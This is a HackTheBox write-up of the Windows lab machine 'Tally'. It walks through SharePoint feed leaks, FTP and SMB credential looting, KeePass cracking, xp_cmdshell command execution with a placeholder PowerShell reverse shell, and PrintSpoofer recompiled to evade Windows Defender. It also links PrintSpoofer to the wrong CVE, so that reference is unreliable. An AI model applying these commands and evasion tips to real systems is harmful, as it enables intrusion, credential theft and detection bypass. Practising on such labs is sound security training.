Tally - HackTheBox Writeup

Machine Information

Machine Rating

⭐⭐⭐⭐☆ (4/5)

Difficulty Assessment:

• Enumeration: ⭐⭐⭐⭐☆
• Real-world: ⭐⭐⭐⭐⭐
• CVE: ⭐⭐⭐☆☆
• CTF-like: ⭐⭐☆☆☆

Summary

Tally is a highly realistic Windows enterprise machine that simulates a corporate environment with SharePoint, MSSQL, FTP, and SMB services. The attack path begins with SharePoint information disclosure through RSS list feeds, leading to FTP credentials embedded in a leaked Word document. FTP access yields a KeePass database containing SMB credentials, which in turn exposes MSSQL SA credentials in archived binaries. MSSQL command execution provides initial access as a low-privilege service account. Privilege escalation leverages SeImpersonatePrivilege through a custom-compiled PrintSpoofer binary, showcasing real-world Windows exploitation techniques and the importance of understanding compilation toolchains and AV evasion.

TL;DR: SharePoint RSS feed leak → FTP credentials → KeePass DB (rockyou crack) → SMB access → MSSQL SA creds in binaries → xp_cmdshell as tally\sarah → SeImpersonatePrivilege + custom PrintSpoofer → SYSTEM.

Reconnaissance

Port Scanning

# Full TCP port scan
nmap -sC -sV -T4 -p- 10.129.1.183

Results:

The target exposes a typical Windows enterprise attack surface:

• FTP (21/tcp) - Microsoft ftpd
• HTTP (80/tcp) - Microsoft IIS / SharePoint
• SMB (445/tcp) - Microsoft-ds
• MSSQL (1433/tcp) - Microsoft SQL Server
• WinRM (5985/tcp) - Microsoft HTTPAPI httpd 2.0

Service Enumeration

SharePoint (Port 80)

SharePoint Foundation 2013 is exposed on port 80. Anonymous access to standard SharePoint list views returned empty results, but SharePoint’s RSS feed functionality proved more revealing. The RSS list feed endpoint (/_layouts/15/listfeed.aspx?List={GUID}) is often overlooked but can leak document metadata and links even when direct browsing is restricted.

By enumerating common SharePoint lists and requesting their RSS feeds, a document named ftp-details.docx was discovered. This document contained plaintext FTP credentials.

FTP (Port 21)

Anonymous access was denied, but the credentials obtained from SharePoint (ftp_user:UTDRSCH53c"$6hys) provided authenticated access.

SMB (Port 445)

Standard guest/null session enumeration revealed no accessible shares without valid credentials.

MSSQL (Port 1433)

SQL Server authentication was enabled but required valid credentials.

Vulnerability Assessment

1. SharePoint Information Disclosure - RSS list feeds expose sensitive documents to anonymous users
2. Credential Storage in Documents - FTP credentials stored in plaintext Word documents
3. KeePass Database on FTP - Password manager database accessible via compromised service account
4. Hardcoded MSSQL Credentials - SA credentials embedded in archived application binaries
5. MSSQL xp_cmdshell - Command execution capability available to SA role
6. SeImpersonatePrivilege - MSSQL service account possesses token impersonation privilege (CVE-2019-1069 via PrintSpoofer)

Initial Foothold

SharePoint Document Leak

SharePoint’s RSS feed feature exposes list contents through a different rendering pipeline than the standard web UI. Even when list views return empty or restricted results, the RSS endpoint may leak document metadata.

# Enumerate SharePoint lists via RSS feeds
# /_layouts/15/listfeed.aspx?List={GUID}
# The leaked document: ftp-details.docx

Extracted Credentials:

• Username: ftp_user
• Password: UTDRSCH53c"$6hys

FTP Access and KeePass Extraction

# Connect to FTP with leaked credentials
ftp 10.129.1.183
# Username: ftp_user
# Password: UTDRSCH53c"$6hys

# Enable binary mode for proper file transfer
ftp> binary

# Navigate to user directories
ftp> cd User/Tim/Files

# Download KeePass database
ftp> get tim.kdbx

The FTP root contained user directories. Within /User/Tim/Files/, a KeePass database file (tim.kdbx) was discovered. KeePass uses a master password to encrypt stored credentials, making it a prime target for offline cracking.

KeePass Database Cracking

# Extract hash for John the Ripper
keepass2john tim.kdbx > tim.hash

# Crack using rockyou wordlist
john --wordlist=/usr/share/wordlists/rockyou.txt tim.hash

Master Password: simplementeyo

Opening the database with this password revealed multiple credential entries, including SMB credentials for the Finance account.

KeePass Database Contents:

• Account: Finance
• Username: Finance
• Password: Acc0unting
• Target: SMB share ACCT

SMB Enumeration with Finance Credentials

# List shares with Finance credentials
smbclient -L //10.129.1.183 -U Finance
# Password: Acc0unting

# Connect to ACCT share
smbclient //10.129.1.183/ACCT -U Finance

The ACCT share contained financial records and a migration folder (zz_Migration). This folder held archived application binaries and configuration files from a previous database migration project.

MSSQL Credential Discovery

# Download interesting binaries
smb> cd zz_Migration\Binaries\New folder
smb> get tester.exe

# Extract strings from the binary
strings tester.exe | grep -i "password\|user\|sql"

Extracted MSSQL Credentials:

• Username: sa (SQL Server Administrator)
• Password: GWE3V65#6KFH93@4GWTG2G

The tester.exe binary contained hardcoded connection strings with cleartext SA credentials. This is a common oversight in legacy migration scripts and testing utilities where developers embed credentials for convenience.

MSSQL Access and Command Execution

# Connect to MSSQL as SA
sqsh -S 10.129.1.183 -U sa -P 'GWE3V65#6KFH93@4GWTG2G'

The xp_cmdshell stored procedure allows SQL Server to execute operating system commands. It’s disabled by default but can be enabled by the SA role.

-- Enable advanced options
EXEC sp_configure 'show advanced options', 1;
GO
RECONFIGURE;
GO

-- Enable xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 1;
GO
RECONFIGURE;
GO

-- Test command execution
EXEC xp_cmdshell 'whoami';
GO

Output: tally\sarah

Note: On this particular box, xp_cmdshell was automatically disabled after each execution, requiring re-enablement for every command. This appears to be an intentional defensive measure simulating Group Policy or scheduled task enforcement.

-- Each time before running a command:
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
GO

-- Execute command
EXEC xp_cmdshell 'type C:\Users\Sarah\Desktop\user.txt';
GO

User Flag: <redacted>

For a more stable shell, a PowerShell reverse connection can be established:

-- Re-enable xp_cmdshell
EXEC sp_configure 'show advanced options', 1; RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;
GO

-- PowerShell reverse shell (base64 encoded to avoid escaping issues)
EXEC xp_cmdshell 'powershell -enc <base64_payload>';
GO

The xp_cmdshell executes commands in the security context of the SQL Server service account, which in this case was tally\sarah.

Privilege Escalation

SeImpersonatePrivilege Analysis

After obtaining a shell as tally\sarah, privilege enumeration revealed a critical permission:

# Check current privileges
whoami /priv

Key Finding: SeImpersonatePrivilege is enabled.

This privilege allows the current process to impersonate tokens of other users, including SYSTEM. It’s commonly assigned to service accounts (like MSSQL service accounts) and is exploitable through “Potato” family attacks. While the official writeup intended CVE-2017-0213 (a COM elevation exploit), the presence of SeImpersonatePrivilege enables an alternative and more reliable path.

PrintSpoofer Compilation

PrintSpoofer (by @itm4n) is a modern alternative to Juicy/Rotten Potato that abuses the Print Spooler service to coerce SYSTEM authentication and capture its token. However, the target runs Windows Defender, requiring a custom compilation to evade signature-based detection.

Cross-compilation on Linux (using mingw-w64):

# Clone PrintSpoofer source
git clone https://github.com/itm4n/PrintSpoofer.git
cd PrintSpoofer

# Challenges encountered during compilation:

# 1. Case-sensitivity: Windows headers use mixed case
#    Fix: Use proper case for includes (Windows.h not windows.h)

# 2. SEH (Structured Exception Handling) not supported in mingw
#    Fix: Remove __try/__except blocks or use alternative error handling

# 3. _M_AMD64 preprocessor guard is MSVC-specific
#    Fix: Replace with __x86_64__ for GCC/mingw

# 4. MIDL-generated code with conflicting linkage
#    Fix: Adjust extern/static declarations in RPC stubs

# Compile with mingw cross-compiler
x86_64-w64-mingw32-g++ -o PrintSpoofer.exe PrintSpoofer.cpp \
    -ladvapi32 -lrpcrt4 -static-libgcc -static-libstdc++

The compilation required several fixes:

1. Case-sensitivity - Mingw on Linux is case-sensitive; Windows API headers must use correct capitalization
2. SEH removal - Structured Exception Handling (__try/__except) is MSVC-specific and unsupported by mingw
3. Preprocessor guards - Replaced _M_AMD64 (MSVC) with __x86_64__ (GCC)
4. MIDL linkage conflicts - RPC stub files generated by MIDL use extern in ways that conflict with static linking; resolved by adjusting declarations

Exploitation

# Transfer compiled binary to target
# (via SMB share, HTTP download, or existing shell upload mechanism)

# Execute PrintSpoofer
.\PrintSpoofer.exe -i -c cmd.exe

PrintSpoofer works by:

1. Creating a named pipe with a predictable name
2. Triggering the Print Spooler service to connect to the pipe
3. The Spooler connects as SYSTEM (its service account)
4. Capturing and impersonating the SYSTEM token
5. Spawning a new process (cmd.exe) with the impersonated token

Result: Shell as NT AUTHORITY\SYSTEM

whoami
# NT AUTHORITY\SYSTEM

type C:\Users\Administrator\Desktop\root.txt

Root Flag: <redacted>

Attack Chain Summary

SharePoint RSS Feed Leak → FTP Credentials (ftp_user:UTDRSCH53c"$6hys)
    ↓
FTP Access → KeePass Database (tim.kdbx)
    ↓
KeePass Crack (rockyou) → Master Password (simplementeyo)
    ↓
SMB Access (Finance:Acc0unting) → zz_Migration Share
    ↓
Binary Analysis (tester.exe) → MSSQL SA Credentials (sa:GWE3V65#6KFH93@4GWTG2G)
    ↓
MSSQL xp_cmdshell → Command Execution as tally\sarah → User Flag
    ↓
SeImpersonatePrivilege + Custom PrintSpoofer → NT AUTHORITY\SYSTEM → Root Flag

Tools Used

Key Learnings

Techniques Practiced

• SharePoint enumeration - RSS feed endpoints as alternative information disclosure vectors
• Offline password cracking - KeePass database exploitation
• SMB share enumeration - Recursive directory searching in archived/migration folders
• Binary string analysis - Extracting hardcoded credentials from compiled applications
• MSSQL exploitation - xp_cmdshell enablement and command execution
• Cross-compilation - Building Windows exploits on Linux with mingw-w64
• Token impersonation - PrintSpoofer exploitation of SeImpersonatePrivilege
• AV evasion - Custom compilation to avoid signature-based detection

Lessons Learned

1. SharePoint RSS feeds are often overlooked - Standard web UI may be locked down while RSS endpoints expose the same data. Always enumerate /_layouts/15/listfeed.aspx with various List GUIDs.

2. Password managers on shared systems are gold mines - A single offline KeePass database can contain dozens of high-value credentials. Invest time in proper cracking attempts.

3. Migration folders contain historical credentials - Development/test artifacts in “old” or “backup” directories often retain hardcoded credentials that remain valid in production.

4. xp_cmdshell auto-disable can be bypassed - Even with defensive scripts disabling xp_cmdshell, re-enabling before each command works. Automate the re-enable sequence in your exploit chain.

5. SeImpersonatePrivilege is nearly equivalent to SYSTEM - Any service account with this privilege should be considered a direct path to privilege escalation. Master the Potato family of exploits.

6. Cross-compilation requires toolchain expertise - MSVC and mingw-w64 have significant differences (SEH, preprocessor guards, linkage). Understand both to successfully port exploits.

7. Custom compilation evades signature-based AV - Precompiled public exploits are heavily signatured. Compiling from source with minor modifications often bypasses Windows Defender without additional obfuscation.

8. Real enterprise environments layer credentials - This machine perfectly simulates credential reuse chains: service account → document → password manager → database → privilege escalation. Map all credential relationships during enumeration.

Proof of Ownership

User Flag: <redacted>
Root Flag: <redacted>

References

• HackTheBox Official Writeup - Tally (Document No D18.100.03, prepared by Alexander Reid)
• CVE-2019-1069 (PrintSpoofer/SeImpersonatePrivilege token impersonation)
• itm4n PrintSpoofer: https://github.com/itm4n/PrintSpoofer